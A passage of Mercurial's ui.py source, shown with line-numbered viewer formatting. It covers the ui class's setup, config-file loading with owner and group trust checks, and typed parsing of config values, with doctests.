192 | 192 | mgr = self._get_mgr() |
|
193 | 193 | return _maybebytesurl( |
|
194 | 194 | mgr.find_user_password(_maybestrurl(realm), _maybestrurl(uri)) |
|
195 | 195 | ) |
|
196 | 196 | |
|
197 | 197 | |
|
198 | 198 | def _catchterm(*args): |
|
199 | 199 | raise error.SignalInterrupt |
|
200 | 200 | |
|
201 | 201 | |
|
202 | 202 | # unique object used to detect no default value has been provided when |
|
203 | 203 | # retrieving configuration value. |
|
204 | 204 | _unset = object() |
|
205 | 205 | |
|
206 | 206 | # _reqexithandlers: callbacks run at the end of a request |
|
207 | 207 | _reqexithandlers = [] |
|
208 | 208 | |
|
209 | 209 | |
|
210 | 210 | class ui(object): |
|
211 | 211 | def __init__(self, src=None): |
|
212 | 212 | """Create a fresh new ui object if no src given |
|
213 | 213 | |
|
214 | 214 | Use uimod.ui.load() to create a ui which knows global and user configs. |
|
215 | 215 | In most cases, you should use ui.copy() to create a copy of an existing |
|
216 | 216 | ui object. |
|
217 | 217 | """ |
|
218 | 218 | # _buffers: used for temporary capture of output |
|
219 | 219 | self._buffers = [] |
|
220 | 220 | # 3-tuple describing how each buffer in the stack behaves. |
|
221 | 221 | # Values are (capture stderr, capture subprocesses, apply labels). |
|
222 | 222 | self._bufferstates = [] |
|
223 | 223 | # When a buffer is active, defines whether we are expanding labels. |
|
224 | 224 | # This exists to prevent an extra list lookup. |
|
225 | 225 | self._bufferapplylabels = None |
|
226 | 226 | self.quiet = self.verbose = self.debugflag = self.tracebackflag = False |
|
227 | 227 | self._reportuntrusted = True |
|
228 | 228 | self._knownconfig = configitems.coreitems |
|
229 | 229 | self._ocfg = config.config() # overlay |
|
230 | 230 | self._tcfg = config.config() # trusted |
|
231 | 231 | self._ucfg = config.config() # untrusted |
|
232 | 232 | self._trustusers = set() |
|
233 | 233 | self._trustgroups = set() |
|
234 | 234 | self.callhooks = True |
|
235 | 235 | # Insecure server connections requested. |
|
236 | 236 | self.insecureconnections = False |
|
237 | 237 | # Blocked time |
|
238 | 238 | self.logblockedtimes = False |
|
239 | 239 | # color mode: see mercurial/color.py for possible value |
|
240 | 240 | self._colormode = None |
|
241 | 241 | self._terminfoparams = {} |
|
242 | 242 | self._styles = {} |
|
243 | 243 | self._uninterruptible = False |
|
244 | 244 | |
|
245 | 245 | if src: |
|
246 | 246 | self._fout = src._fout |
|
247 | 247 | self._ferr = src._ferr |
|
248 | 248 | self._fin = src._fin |
|
249 | 249 | self._fmsg = src._fmsg |
|
250 | 250 | self._fmsgout = src._fmsgout |
|
251 | 251 | self._fmsgerr = src._fmsgerr |
|
252 | 252 | self._finoutredirected = src._finoutredirected |
|
253 | 253 | self._loggers = src._loggers.copy() |
|
254 | 254 | self.pageractive = src.pageractive |
|
255 | 255 | self._disablepager = src._disablepager |
|
256 | 256 | self._tweaked = src._tweaked |
|
257 | 257 | |
|
258 | 258 | self._tcfg = src._tcfg.copy() |
|
259 | 259 | self._ucfg = src._ucfg.copy() |
|
260 | 260 | self._ocfg = src._ocfg.copy() |
|
261 | 261 | self._trustusers = src._trustusers.copy() |
|
262 | 262 | self._trustgroups = src._trustgroups.copy() |
|
263 | 263 | self.environ = src.environ |
|
264 | 264 | self.callhooks = src.callhooks |
|
265 | 265 | self.insecureconnections = src.insecureconnections |
|
266 | 266 | self._colormode = src._colormode |
|
267 | 267 | self._terminfoparams = src._terminfoparams.copy() |
|
268 | 268 | self._styles = src._styles.copy() |
|
269 | 269 | |
|
270 | 270 | self.fixconfig() |
|
271 | 271 | |
|
272 | 272 | self.httppasswordmgrdb = src.httppasswordmgrdb |
|
273 | 273 | self._blockedtimes = src._blockedtimes |
|
274 | 274 | else: |
|
275 | 275 | self._fout = procutil.stdout |
|
276 | 276 | self._ferr = procutil.stderr |
|
277 | 277 | self._fin = procutil.stdin |
|
278 | 278 | self._fmsg = None |
|
279 | 279 | self._fmsgout = self.fout # configurable |
|
280 | 280 | self._fmsgerr = self.ferr # configurable |
|
281 | 281 | self._finoutredirected = False |
|
282 | 282 | self._loggers = {} |
|
283 | 283 | self.pageractive = False |
|
284 | 284 | self._disablepager = False |
|
285 | 285 | self._tweaked = False |
|
286 | 286 | |
|
287 | 287 | # shared read-only environment |
|
288 | 288 | self.environ = encoding.environ |
|
289 | 289 | |
|
290 | 290 | self.httppasswordmgrdb = httppasswordmgrdbproxy() |
|
291 | 291 | self._blockedtimes = collections.defaultdict(int) |
|
292 | 292 | |
|
293 | 293 | allowed = self.configlist(b'experimental', b'exportableenviron') |
|
294 | 294 | if b'*' in allowed: |
|
295 | 295 | self._exportableenviron = self.environ |
|
296 | 296 | else: |
|
297 | 297 | self._exportableenviron = {} |
|
298 | 298 | for k in allowed: |
|
299 | 299 | if k in self.environ: |
|
300 | 300 | self._exportableenviron[k] = self.environ[k] |
|
301 | 301 | |
|
302 | 302 | @classmethod |
|
303 | 303 | def load(cls): |
|
304 | 304 | """Create a ui and load global and user configs""" |
|
305 | 305 | u = cls() |
|
306 | 306 | # we always trust global config files and environment variables |
|
307 | 307 | for t, f in rcutil.rccomponents(): |
|
308 | 308 | if t == b'path': |
|
309 | 309 | u.readconfig(f, trust=True) |
|
310 | 310 | elif t == b'items': |
|
311 | 311 | sections = set() |
|
312 | 312 | for section, name, value, source in f: |
|
313 | 313 | # do not set u._ocfg |
|
314 | 314 | # XXX clean this up once immutable config object is a thing |
|
315 | 315 | u._tcfg.set(section, name, value, source) |
|
316 | 316 | u._ucfg.set(section, name, value, source) |
|
317 | 317 | sections.add(section) |
|
318 | 318 | for section in sections: |
|
319 | 319 | u.fixconfig(section=section) |
|
320 | 320 | else: |
|
321 | 321 | raise error.ProgrammingError(b'unknown rctype: %s' % t) |
|
322 | 322 | u._maybetweakdefaults() |
|
323 | 323 | return u |
|
324 | 324 | |
|
325 | 325 | def _maybetweakdefaults(self): |
|
326 | 326 | if not self.configbool(b'ui', b'tweakdefaults'): |
|
327 | 327 | return |
|
328 | 328 | if self._tweaked or self.plain(b'tweakdefaults'): |
|
329 | 329 | return |
|
330 | 330 | |
|
331 | 331 | # Note: it is SUPER IMPORTANT that you set self._tweaked to |
|
332 | 332 | # True *before* any calls to setconfig(), otherwise you'll get |
|
333 | 333 | # infinite recursion between setconfig and this method. |
|
334 | 334 | # |
|
335 | 335 | # TODO: We should extract an inner method in setconfig() to |
|
336 | 336 | # avoid this weirdness. |
|
337 | 337 | self._tweaked = True |
|
338 | 338 | tmpcfg = config.config() |
|
339 | 339 | tmpcfg.parse(b'<tweakdefaults>', tweakrc) |
|
340 | 340 | for section in tmpcfg: |
|
341 | 341 | for name, value in tmpcfg.items(section): |
|
342 | 342 | if not self.hasconfig(section, name): |
|
343 | 343 | self.setconfig(section, name, value, b"<tweakdefaults>") |
|
344 | 344 | |
|
345 | 345 | def copy(self): |
|
346 | 346 | return self.__class__(self) |
|
347 | 347 | |
|
348 | 348 | def resetstate(self): |
|
349 | 349 | """Clear internal state that shouldn't persist across commands""" |
|
350 | 350 | if self._progbar: |
|
351 | 351 | self._progbar.resetstate() # reset last-print time of progress bar |
|
352 | 352 | self.httppasswordmgrdb = httppasswordmgrdbproxy() |
|
353 | 353 | |
|
354 | 354 | @contextlib.contextmanager |
|
355 | 355 | def timeblockedsection(self, key): |
|
356 | 356 | # this is open-coded below - search for timeblockedsection to find them |
|
357 | 357 | starttime = util.timer() |
|
358 | 358 | try: |
|
359 | 359 | yield |
|
360 | 360 | finally: |
|
361 | 361 | self._blockedtimes[key + b'_blocked'] += ( |
|
362 | 362 | util.timer() - starttime |
|
363 | 363 | ) * 1000 |
|
364 | 364 | |
|
365 | 365 | @contextlib.contextmanager |
|
366 | 366 | def uninterruptible(self): |
|
367 | 367 | """Mark an operation as unsafe. |
|
368 | 368 | |
|
369 | 369 | Most operations on a repository are safe to interrupt, but a |
|
370 | 370 | few are risky (for example repair.strip). This context manager |
|
371 | 371 | lets you advise Mercurial that something risky is happening so |
|
372 | 372 | that control-C etc can be blocked if desired. |
|
373 | 373 | """ |
|
374 | 374 | enabled = self.configbool(b'experimental', b'nointerrupt') |
|
375 | 375 | if enabled and self.configbool( |
|
376 | 376 | b'experimental', b'nointerrupt-interactiveonly' |
|
377 | 377 | ): |
|
378 | 378 | enabled = self.interactive() |
|
379 | 379 | if self._uninterruptible or not enabled: |
|
380 | 380 | # if nointerrupt support is turned off, the process isn't |
|
381 | 381 | # interactive, or we're already in an uninterruptible |
|
382 | 382 | # block, do nothing. |
|
383 | 383 | yield |
|
384 | 384 | return |
|
385 | 385 | |
|
386 | 386 | def warn(): |
|
387 | 387 | self.warn(_(b"shutting down cleanly\n")) |
|
388 | 388 | self.warn( |
|
389 | 389 | _(b"press ^C again to terminate immediately (dangerous)\n") |
|
390 | 390 | ) |
|
391 | 391 | return True |
|
392 | 392 | |
|
393 | 393 | with procutil.uninterruptible(warn): |
|
394 | 394 | try: |
|
395 | 395 | self._uninterruptible = True |
|
396 | 396 | yield |
|
397 | 397 | finally: |
|
398 | 398 | self._uninterruptible = False |
|
399 | 399 | |
|
400 | 400 | def formatter(self, topic, opts): |
|
401 | 401 | return formatter.formatter(self, self, topic, opts) |
|
402 | 402 | |
|
403 | 403 | def _trusted(self, fp, f): |
|
404 | 404 | st = util.fstat(fp) |
|
405 | 405 | if util.isowner(st): |
|
406 | 406 | return True |
|
407 | 407 | |
|
408 | 408 | tusers, tgroups = self._trustusers, self._trustgroups |
|
409 | 409 | if b'*' in tusers or b'*' in tgroups: |
|
410 | 410 | return True |
|
411 | 411 | |
|
412 | 412 | user = util.username(st.st_uid) |
|
413 | 413 | group = util.groupname(st.st_gid) |
|
414 | 414 | if user in tusers or group in tgroups or user == util.username(): |
|
415 | 415 | return True |
|
416 | 416 | |
|
417 | 417 | if self._reportuntrusted: |
|
418 | 418 | self.warn( |
|
419 | 419 | _( |
|
420 | 420 | b'not trusting file %s from untrusted ' |
|
421 | 421 | b'user %s, group %s\n' |
|
422 | 422 | ) |
|
423 | 423 | % (f, user, group) |
|
424 | 424 | ) |
|
425 | 425 | return False |
|
426 | 426 | |
|
427 | 427 | def readconfig( |
|
428 | 428 | self, filename, root=None, trust=False, sections=None, remap=None |
|
429 | 429 | ): |
|
430 | 430 | try: |
|
431 | 431 | fp = open(filename, 'rb') |
|
432 | 432 | except IOError: |
|
433 | 433 | if not sections: # ignore unless we were looking for something |
|
434 | 434 | return |
|
435 | 435 | raise |
|
436 | 436 | |
|
437 | 437 | with fp: |
|
438 | 438 | cfg = config.config() |
|
439 | 439 | trusted = sections or trust or self._trusted(fp, filename) |
|
440 | 440 | |
|
441 | 441 | try: |
|
442 | 442 | cfg.read(filename, fp, sections=sections, remap=remap) |
|
443 | 443 | except error.ParseError as inst: |
|
444 | 444 | if trusted: |
|
445 | 445 | raise |
|
446 | 446 | self.warn(_(b'ignored: %s\n') % stringutil.forcebytestr(inst)) |
|
447 | 447 | |
|
448 | 448 | if self.plain(): |
|
449 | 449 | for k in ( |
|
450 | 450 | b'debug', |
|
451 | 451 | b'fallbackencoding', |
|
452 | 452 | b'quiet', |
|
453 | 453 | b'slash', |
|
454 | 454 | b'logtemplate', |
|
455 | 455 | b'message-output', |
|
456 | 456 | b'statuscopies', |
|
457 | 457 | b'style', |
|
458 | 458 | b'traceback', |
|
459 | 459 | b'verbose', |
|
460 | 460 | ): |
|
461 | 461 | if k in cfg[b'ui']: |
|
462 | 462 | del cfg[b'ui'][k] |
|
463 | 463 | for k, v in cfg.items(b'defaults'): |
|
464 | 464 | del cfg[b'defaults'][k] |
|
465 | 465 | for k, v in cfg.items(b'commands'): |
|
466 | 466 | del cfg[b'commands'][k] |
|
467 | 467 | # Don't remove aliases from the configuration if in the exceptionlist |
|
468 | 468 | if self.plain(b'alias'): |
|
469 | 469 | for k, v in cfg.items(b'alias'): |
|
470 | 470 | del cfg[b'alias'][k] |
|
471 | 471 | if self.plain(b'revsetalias'): |
|
472 | 472 | for k, v in cfg.items(b'revsetalias'): |
|
473 | 473 | del cfg[b'revsetalias'][k] |
|
474 | 474 | if self.plain(b'templatealias'): |
|
475 | 475 | for k, v in cfg.items(b'templatealias'): |
|
476 | 476 | del cfg[b'templatealias'][k] |
|
477 | 477 | |
|
478 | 478 | if trusted: |
|
479 | 479 | self._tcfg.update(cfg) |
|
480 | 480 | self._tcfg.update(self._ocfg) |
|
481 | 481 | self._ucfg.update(cfg) |
|
482 | 482 | self._ucfg.update(self._ocfg) |
|
483 | 483 | |
|
484 | 484 | if root is None: |
|
485 | 485 | root = os.path.expanduser(b'~') |
|
486 | 486 | self.fixconfig(root=root) |
|
487 | 487 | |
|
488 | 488 | def fixconfig(self, root=None, section=None): |
|
489 | 489 | if section in (None, b'paths'): |
|
490 | 490 | # expand vars and ~ |
|
491 | 491 | # translate paths relative to root (or home) into absolute paths |
|
492 | 492 | root = root or encoding.getcwd() |
|
493 | 493 | for c in self._tcfg, self._ucfg, self._ocfg: |
|
494 | 494 | for n, p in c.items(b'paths'): |
|
495 | 495 | # Ignore sub-options. |
|
496 | 496 | if b':' in n: |
|
497 | 497 | continue |
|
498 | 498 | if not p: |
|
499 | 499 | continue |
|
500 | 500 | if b'%%' in p: |
|
501 | 501 | s = self.configsource(b'paths', n) or b'none' |
|
502 | 502 | self.warn( |
|
503 | 503 | _(b"(deprecated '%%' in path %s=%s from %s)\n") |
|
504 | 504 | % (n, p, s) |
|
505 | 505 | ) |
|
506 | 506 | p = p.replace(b'%%', b'%') |
|
507 | 507 | p = util.expandpath(p) |
|
508 | 508 | if not util.hasscheme(p) and not os.path.isabs(p): |
|
509 | 509 | p = os.path.normpath(os.path.join(root, p)) |
|
510 | 510 | c.set(b"paths", n, p) |
|
511 | 511 | |
|
512 | 512 | if section in (None, b'ui'): |
|
513 | 513 | # update ui options |
|
514 | 514 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) |
|
515 | 515 | self.debugflag = self.configbool(b'ui', b'debug') |
|
516 | 516 | self.verbose = self.debugflag or self.configbool(b'ui', b'verbose') |
|
517 | 517 | self.quiet = not self.debugflag and self.configbool(b'ui', b'quiet') |
|
518 | 518 | if self.verbose and self.quiet: |
|
519 | 519 | self.quiet = self.verbose = False |
|
520 | 520 | self._reportuntrusted = self.debugflag or self.configbool( |
|
521 | 521 | b"ui", b"report_untrusted" |
|
522 | 522 | ) |
|
523 | 523 | self.tracebackflag = self.configbool(b'ui', b'traceback') |
|
524 | 524 | self.logblockedtimes = self.configbool(b'ui', b'logblockedtimes') |
|
525 | 525 | |
|
526 | 526 | if section in (None, b'trusted'): |
|
527 | 527 | # update trust information |
|
528 | 528 | self._trustusers.update(self.configlist(b'trusted', b'users')) |
|
529 | 529 | self._trustgroups.update(self.configlist(b'trusted', b'groups')) |
|
530 | 530 | |
|
531 | 531 | if section in (None, b'devel', b'ui') and self.debugflag: |
|
532 | 532 | tracked = set() |
|
533 | 533 | if self.configbool(b'devel', b'debug.extensions'): |
|
534 | 534 | tracked.add(b'extension') |
|
535 | 535 | if tracked: |
|
536 | 536 | logger = loggingutil.fileobjectlogger(self._ferr, tracked) |
|
537 | 537 | self.setlogger(b'debug', logger) |
|
538 | 538 | |
|
539 | 539 | def backupconfig(self, section, item): |
|
540 | 540 | return ( |
|
541 | 541 | self._ocfg.backup(section, item), |
|
542 | 542 | self._tcfg.backup(section, item), |
|
543 | 543 | self._ucfg.backup(section, item), |
|
544 | 544 | ) |
|
545 | 545 | |
|
546 | 546 | def restoreconfig(self, data): |
|
547 | 547 | self._ocfg.restore(data[0]) |
|
548 | 548 | self._tcfg.restore(data[1]) |
|
549 | 549 | self._ucfg.restore(data[2]) |
|
550 | 550 | |
|
551 | 551 | def setconfig(self, section, name, value, source=b''): |
|
552 | 552 | for cfg in (self._ocfg, self._tcfg, self._ucfg): |
|
553 | 553 | cfg.set(section, name, value, source) |
|
554 | 554 | self.fixconfig(section=section) |
|
555 | 555 | self._maybetweakdefaults() |
|
556 | 556 | |
|
557 | 557 | def _data(self, untrusted): |
|
558 | 558 | return untrusted and self._ucfg or self._tcfg |
|
559 | 559 | |
|
560 | 560 | def configsource(self, section, name, untrusted=False): |
|
561 | 561 | return self._data(untrusted).source(section, name) |
|
562 | 562 | |
|
563 | 563 | def config(self, section, name, default=_unset, untrusted=False): |
|
564 | 564 | """return the plain string version of a config""" |
|
565 | 565 | value = self._config( |
|
566 | 566 | section, name, default=default, untrusted=untrusted |
|
567 | 567 | ) |
|
568 | 568 | if value is _unset: |
|
569 | 569 | return None |
|
570 | 570 | return value |
|
571 | 571 | |
|
572 | 572 | def _config(self, section, name, default=_unset, untrusted=False): |
|
573 | 573 | value = itemdefault = default |
|
574 | 574 | item = self._knownconfig.get(section, {}).get(name) |
|
575 | 575 | alternates = [(section, name)] |
|
576 | 576 | |
|
577 | 577 | if item is not None: |
|
578 | 578 | alternates.extend(item.alias) |
|
579 | 579 | if callable(item.default): |
|
580 | 580 | itemdefault = item.default() |
|
581 | 581 | else: |
|
582 | 582 | itemdefault = item.default |
|
583 | 583 | else: |
|
584 | 584 | msg = b"accessing unregistered config item: '%s.%s'" |
|
585 | 585 | msg %= (section, name) |
|
586 | 586 | self.develwarn(msg, 2, b'warn-config-unknown') |
|
587 | 587 | |
|
588 | 588 | if default is _unset: |
|
589 | 589 | if item is None: |
|
590 | 590 | value = default |
|
591 | 591 | elif item.default is configitems.dynamicdefault: |
|
592 | 592 | value = None |
|
593 | 593 | msg = b"config item requires an explicit default value: '%s.%s'" |
|
594 | 594 | msg %= (section, name) |
|
595 | 595 | self.develwarn(msg, 2, b'warn-config-default') |
|
596 | 596 | else: |
|
597 | 597 | value = itemdefault |
|
598 | 598 | elif ( |
|
599 | 599 | item is not None |
|
600 | 600 | and item.default is not configitems.dynamicdefault |
|
601 | 601 | and default != itemdefault |
|
602 | 602 | ): |
|
603 | 603 | msg = ( |
|
604 | 604 | b"specifying a mismatched default value for a registered " |
|
605 | 605 | b"config item: '%s.%s' '%s'" |
|
606 | 606 | ) |
|
607 | 607 | msg %= (section, name, pycompat.bytestr(default)) |
|
608 | 608 | self.develwarn(msg, 2, b'warn-config-default') |
|
609 | 609 | |
|
610 | 610 | for s, n in alternates: |
|
611 | 611 | candidate = self._data(untrusted).get(s, n, None) |
|
612 | 612 | if candidate is not None: |
|
613 | 613 | value = candidate |
|
614 | 614 | break |
|
615 | 615 | |
|
616 | 616 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
617 | 617 | for s, n in alternates: |
|
618 | 618 | uvalue = self._ucfg.get(s, n) |
|
619 | 619 | if uvalue is not None and uvalue != value: |
|
620 | 620 | self.debug( |
|
621 | 621 | b"ignoring untrusted configuration option " |
|
622 | 622 | b"%s.%s = %s\n" % (s, n, uvalue) |
|
623 | 623 | ) |
|
624 | 624 | return value |
|
625 | 625 | |
|
626 | 626 | def configsuboptions(self, section, name, default=_unset, untrusted=False): |
|
627 | 627 | """Get a config option and all sub-options. |
|
628 | 628 | |
|
629 | 629 | Some config options have sub-options that are declared with the |
|
630 | 630 | format "key:opt = value". This method is used to return the main |
|
631 | 631 | option and all its declared sub-options. |
|
632 | 632 | |
|
633 | 633 | Returns a 2-tuple of ``(option, sub-options)``, where `sub-options`` |
|
634 | 634 | is a dict of defined sub-options where keys and values are strings. |
|
635 | 635 | """ |
|
636 | 636 | main = self.config(section, name, default, untrusted=untrusted) |
|
637 | 637 | data = self._data(untrusted) |
|
638 | 638 | sub = {} |
|
639 | 639 | prefix = b'%s:' % name |
|
640 | 640 | for k, v in data.items(section): |
|
641 | 641 | if k.startswith(prefix): |
|
642 | 642 | sub[k[len(prefix) :]] = v |
|
643 | 643 | |
|
644 | 644 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
645 | 645 | for k, v in sub.items(): |
|
646 | 646 | uvalue = self._ucfg.get(section, b'%s:%s' % (name, k)) |
|
647 | 647 | if uvalue is not None and uvalue != v: |
|
648 | 648 | self.debug( |
|
649 | 649 | b'ignoring untrusted configuration option ' |
|
650 | 650 | b'%s:%s.%s = %s\n' % (section, name, k, uvalue) |
|
651 | 651 | ) |
|
652 | 652 | |
|
653 | 653 | return main, sub |
|
654 | 654 | |
|
655 | 655 | def configpath(self, section, name, default=_unset, untrusted=False): |
|
656 | 656 | """get a path config item, expanded relative to repo root or config |
|
657 | 657 | file""" |
|
658 | 658 | v = self.config(section, name, default, untrusted) |
|
659 | 659 | if v is None: |
|
660 | 660 | return None |
|
661 | 661 | if not os.path.isabs(v) or b"://" not in v: |
|
662 | 662 | src = self.configsource(section, name, untrusted) |
|
663 | 663 | if b':' in src: |
|
664 | 664 | base = os.path.dirname(src.rsplit(b':')[0]) |
|
665 | 665 | v = os.path.join(base, os.path.expanduser(v)) |
|
666 | 666 | return v |
|
667 | 667 | |
|
668 | 668 | def configbool(self, section, name, default=_unset, untrusted=False): |
|
669 | 669 | """parse a configuration element as a boolean |
|
670 | 670 | |
|
671 | 671 | >>> u = ui(); s = b'foo' |
|
672 | 672 | >>> u.setconfig(s, b'true', b'yes') |
|
673 | 673 | >>> u.configbool(s, b'true') |
|
674 | 674 | True |
|
675 | 675 | >>> u.setconfig(s, b'false', b'no') |
|
676 | 676 | >>> u.configbool(s, b'false') |
|
677 | 677 | False |
|
678 | 678 | >>> u.configbool(s, b'unknown') |
|
679 | 679 | False |
|
680 | 680 | >>> u.configbool(s, b'unknown', True) |
|
681 | 681 | True |
|
682 | 682 | >>> u.setconfig(s, b'invalid', b'somevalue') |
|
683 | 683 | >>> u.configbool(s, b'invalid') |
|
684 | 684 | Traceback (most recent call last): |
|
685 | 685 | ... |
|
686 | 686 | ConfigError: foo.invalid is not a boolean ('somevalue') |
|
687 | 687 | """ |
|
688 | 688 | |
|
689 | 689 | v = self._config(section, name, default, untrusted=untrusted) |
|
690 | 690 | if v is None: |
|
691 | 691 | return v |
|
692 | 692 | if v is _unset: |
|
693 | 693 | if default is _unset: |
|
694 | 694 | return False |
|
695 | 695 | return default |
|
696 | 696 | if isinstance(v, bool): |
|
697 | 697 | return v |
|
698 | 698 | b = stringutil.parsebool(v) |
|
699 | 699 | if b is None: |
|
700 | 700 | raise error.ConfigError( |
|
701 | 701 | _(b"%s.%s is not a boolean ('%s')") % (section, name, v) |
|
702 | 702 | ) |
|
703 | 703 | return b |
|
704 | 704 | |
|
705 | 705 | def configwith( |
|
706 | 706 | self, convert, section, name, default=_unset, desc=None, untrusted=False |
|
707 | 707 | ): |
|
708 | 708 | """parse a configuration element with a conversion function |
|
709 | 709 | |
|
710 | 710 | >>> u = ui(); s = b'foo' |
|
711 | 711 | >>> u.setconfig(s, b'float1', b'42') |
|
712 | 712 | >>> u.configwith(float, s, b'float1') |
|
713 | 713 | 42.0 |
|
714 | 714 | >>> u.setconfig(s, b'float2', b'-4.25') |
|
715 | 715 | >>> u.configwith(float, s, b'float2') |
|
716 | 716 | -4.25 |
|
717 | 717 | >>> u.configwith(float, s, b'unknown', 7) |
|
718 | 718 | 7.0 |
|
719 | 719 | >>> u.setconfig(s, b'invalid', b'somevalue') |
|
720 | 720 | >>> u.configwith(float, s, b'invalid') |
|
721 | 721 | Traceback (most recent call last): |
|
722 | 722 | ... |
|
723 | 723 | ConfigError: foo.invalid is not a valid float ('somevalue') |
|
724 | 724 | >>> u.configwith(float, s, b'invalid', desc=b'womble') |
|
725 | 725 | Traceback (most recent call last): |
|
726 | 726 | ... |
|
727 | 727 | ConfigError: foo.invalid is not a valid womble ('somevalue') |
|
728 | 728 | """ |
|
729 | 729 | |
|
730 | 730 | v = self.config(section, name, default, untrusted) |
|
731 | 731 | if v is None: |
|
732 | 732 | return v # do not attempt to convert None |
|
733 | 733 | try: |
|
734 | 734 | return convert(v) |
|
735 | 735 | except (ValueError, error.ParseError): |
|
736 | 736 | if desc is None: |
|
737 | 737 | desc = pycompat.sysbytes(convert.__name__) |
|
738 | 738 | raise error.ConfigError( |
|
739 | 739 | _(b"%s.%s is not a valid %s ('%s')") % (section, name, desc, v) |
|
740 | 740 | ) |
|
741 | 741 | |
|
742 | 742 | def configint(self, section, name, default=_unset, untrusted=False): |
|
743 | 743 | """parse a configuration element as an integer |
|
744 | 744 | |
|
745 | 745 | >>> u = ui(); s = b'foo' |
|
746 | 746 | >>> u.setconfig(s, b'int1', b'42') |
|
747 | 747 | >>> u.configint(s, b'int1') |
|
748 | 748 | 42 |
|
749 | 749 | >>> u.setconfig(s, b'int2', b'-42') |
|
750 | 750 | >>> u.configint(s, b'int2') |
|
751 | 751 | -42 |
|
752 | 752 | >>> u.configint(s, b'unknown', 7) |
|
753 | 753 | 7 |
|
754 | 754 | >>> u.setconfig(s, b'invalid', b'somevalue') |
|
755 | 755 | >>> u.configint(s, b'invalid') |
|
756 | 756 | Traceback (most recent call last): |
|
757 | 757 | ... |
|
758 | 758 | ConfigError: foo.invalid is not a valid integer ('somevalue') |
|
759 | 759 | """ |
|
760 | 760 | |
|
761 | 761 | return self.configwith( |
|
762 | 762 | int, section, name, default, b'integer', untrusted |
|
763 | 763 | ) |
|
764 | 764 | |
|
765 | 765 | def configbytes(self, section, name, default=_unset, untrusted=False): |
|
766 | 766 | """parse a configuration element as a quantity in bytes |
|
767 | 767 | |
|
768 | 768 | Units can be specified as b (bytes), k or kb (kilobytes), m or |
|
769 | 769 | mb (megabytes), g or gb (gigabytes). |
|
770 | 770 | |
|
771 | 771 | >>> u = ui(); s = b'foo' |
|
772 | 772 | >>> u.setconfig(s, b'val1', b'42') |
|
773 | 773 | >>> u.configbytes(s, b'val1') |
|
774 | 774 | 42 |
|
775 | 775 | >>> u.setconfig(s, b'val2', b'42.5 kb') |
|
776 | 776 | >>> u.configbytes(s, b'val2') |
|
777 | 777 | 43520 |
|
778 | 778 | >>> u.configbytes(s, b'unknown', b'7 MB') |
|
779 | 779 | 7340032 |
|
780 | 780 | >>> u.setconfig(s, b'invalid', b'somevalue') |
|
781 | 781 | >>> u.configbytes(s, b'invalid') |
|
782 | 782 | Traceback (most recent call last): |
|
783 | 783 | ... |
|
784 | 784 | ConfigError: foo.invalid is not a byte quantity ('somevalue') |
|
785 | 785 | """ |
|
786 | 786 | |
|
787 | 787 | value = self._config(section, name, default, untrusted) |
|
788 | 788 | if value is _unset: |
|
789 | 789 | if default is _unset: |
|
790 | 790 | default = 0 |
|
791 | 791 | value = default |
|
792 | 792 | if not isinstance(value, bytes): |
|
793 | 793 | return value |
|
794 | 794 | try: |
|
795 | 795 | return util.sizetoint(value) |
|
796 | 796 | except error.ParseError: |
|
797 | 797 | raise error.ConfigError( |
|
798 | 798 | _(b"%s.%s is not a byte quantity ('%s')") |
|
799 | 799 | % (section, name, value) |
|
800 | 800 | ) |
|
801 | 801 | |
|
802 | 802 | def configlist(self, section, name, default=_unset, untrusted=False): |
|
803 | 803 | """parse a configuration element as a list of comma/space separated |
|
804 | 804 | strings |
|
805 | 805 | |
|
806 | 806 | >>> u = ui(); s = b'foo' |
|
807 | 807 | >>> u.setconfig(s, b'list1', b'this,is "a small" ,test') |
|
808 | 808 | >>> u.configlist(s, b'list1') |
|
809 | 809 | ['this', 'is', 'a small', 'test'] |
|
810 | 810 | >>> u.setconfig(s, b'list2', b'this, is "a small" , test ') |
|
811 | 811 | >>> u.configlist(s, b'list2') |
|
812 | 812 | ['this', 'is', 'a small', 'test'] |
|
813 | 813 | """ |
|
814 | 814 | # default is not always a list |
|
815 | 815 | v = self.configwith( |
|
816 | 816 | config.parselist, section, name, default, b'list', untrusted |
|
817 | 817 | ) |
|
818 | 818 | if isinstance(v, bytes): |
|
819 | 819 | return config.parselist(v) |
|
820 | 820 | elif v is None: |
|
821 | 821 | return [] |
|
822 | 822 | return v |
|
823 | 823 | |
|
824 | 824 | def configdate(self, section, name, default=_unset, untrusted=False): |
|
825 | 825 | """parse a configuration element as a tuple of ints |
|
826 | 826 | |
|
827 | 827 | >>> u = ui(); s = b'foo' |
|
828 | 828 | >>> u.setconfig(s, b'date', b'0 0') |
|
829 | 829 | >>> u.configdate(s, b'date') |
|
830 | 830 | (0, 0) |
|
831 | 831 | """ |
|
832 | 832 | if self.config(section, name, default, untrusted): |
|
833 | 833 | return self.configwith( |
|
834 | 834 | dateutil.parsedate, section, name, default, b'date', untrusted |
|
835 | 835 | ) |
|
836 | 836 | if default is _unset: |
|
837 | 837 | return None |
|
838 | 838 | return default |
|
839 | 839 | |
|
840 | 840 | def configdefault(self, section, name): |
|
841 | 841 | """returns the default value of the config item""" |
|
842 | 842 | item = self._knownconfig.get(section, {}).get(name) |
|
843 | 843 | itemdefault = None |
|
844 | 844 | if item is not None: |
|
845 | 845 | if callable(item.default): |
|
846 | 846 | itemdefault = item.default() |
|
847 | 847 | else: |
|
848 | 848 | itemdefault = item.default |
|
849 | 849 | return itemdefault |
|
850 | 850 | |
|
851 | 851 | def hasconfig(self, section, name, untrusted=False): |
|
852 | 852 | return self._data(untrusted).hasitem(section, name) |
|
853 | 853 | |
|
854 | 854 | def has_section(self, section, untrusted=False): |
|
855 | 855 | '''tell whether section exists in config.''' |
|
856 | 856 | return section in self._data(untrusted) |
|
857 | 857 | |
|
858 | 858 | def configitems(self, section, untrusted=False, ignoresub=False): |
|
859 | 859 | items = self._data(untrusted).items(section) |
|
860 | 860 | if ignoresub: |
|
861 | 861 | items = [i for i in items if b':' not in i[0]] |
|
862 | 862 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
863 | 863 | for k, v in self._ucfg.items(section): |
|
864 | 864 | if self._tcfg.get(section, k) != v: |
|
865 | 865 | self.debug( |
|
866 | 866 | b"ignoring untrusted configuration option " |
|
867 | 867 | b"%s.%s = %s\n" % (section, k, v) |
|
868 | 868 | ) |
|
869 | 869 | return items |
|
870 | 870 | |
|
